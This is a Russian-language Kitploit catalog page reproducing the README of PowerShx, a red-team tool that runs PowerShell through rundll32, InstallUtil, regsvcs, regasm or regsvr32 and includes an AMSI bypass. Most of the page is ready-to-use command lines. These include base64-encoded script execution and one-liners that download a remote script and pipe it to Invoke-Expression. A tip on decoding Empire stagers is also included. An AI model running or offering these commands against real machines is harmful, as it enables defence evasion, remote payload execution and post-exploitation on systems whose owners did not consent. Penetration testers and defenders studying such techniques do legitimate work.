Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PowerShx — Запускайте Powershell без программных ограничений. | Kitploit
Инструменты/GitHubGitHub/iomoath/powershx
Оборонительные ИнструментыПовышение привилегийГенерация полезной нагрузкиОбход IDS/IPSЛатеральное перемещениеСкриптинг и автоматизацияПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubiomoath/powershx
281464 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PowerShx

Запускайте Powershell без программных ограничений.

Репозиторий

SharpShx


Неуправляемое выполнение PowerShell с использованием DLL или автономного исполняемого файла.

Введение

PowerShx — это переработка и расширение проекта PowerShdll. PowerShx предоставляет функции для обхода AMSI и выполнения PS-командлетов.

Возможности

  • Запуск PowerShell с DLL через rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe.
  • Запуск PowerShell без powershell.exe или powershell_ise.exe
  • Функции обхода AMSI.
  • Запуск сценариев PowerShell напрямую из командной строки или из файлов PowerShell
  • Импорт модулей PowerShell и выполнение командлетов PowerShell.

Использование

Версия .dll

rundll32

root@kitploit:~
rundll32 PowerShx.dll,main -e                           <PS script to run>
rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w                           Start an interactive console in a new window
rundll32 PowerShx.dll,main -i                           Start an interactive console
rundll32 PowerShx.dll,main -s                           Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v                           Print Execution Output to the console

Альтернативы (благодарность SubTee за эти техники):

root@kitploit:~
1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
    regsvr32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

Версия .exe

root@kitploit:~
PowerShx.exe -i                          Start an interactive console
PowerShx.exe -e                          <PS script to run>
PowerShx.exe -f <path>                   Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet>    Load a script and run a PS cmdlet
PowerShx.exe -s                          Attempt to bypass AMSI.

Встроенные полезные нагрузки

Полезные нагрузки можно встроить, обновив словарь данных "Common.Payloads.PayloadDict" в проекте "Common" и вызвав его в методе PsSession.cs -> Handle(). Пример: в методе Handle():

root@kitploit:~
private void Handle(Options options)
{
  // Pre-execution before user script
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

Примеры

Запуск скрипта в кодировке base64

root@kitploit:~
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Примечание: stagers Empire необходимо декодировать с помощью [System.Text.Encoding]::Unicode

Запуск скрипта в кодировке base64

root@kitploit:~
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Требования

.NET 4

Известные проблемы

Некоторые ошибки не отображаются в выводе. Это может сбивать с толку, так как команды, такие как Import-Module, не выводят сообщение об ошибке при сбое. Убедитесь, что вы правильно ввели команды.

В режиме DLL интерактивный режим и вывод команд зависят от перехвата консоли родительского процесса. Если у родительского процесса нет консоли, используйте ключ -n, чтобы не показывать вывод, иначе приложение аварийно завершится.

Из-за того, как Rundll32 обрабатывает аргументы, использование нескольких пробелов между ключами и аргументами может вызвать проблемы. Несколько пробелов внутри скриптов допустимы.

Скачать инструмент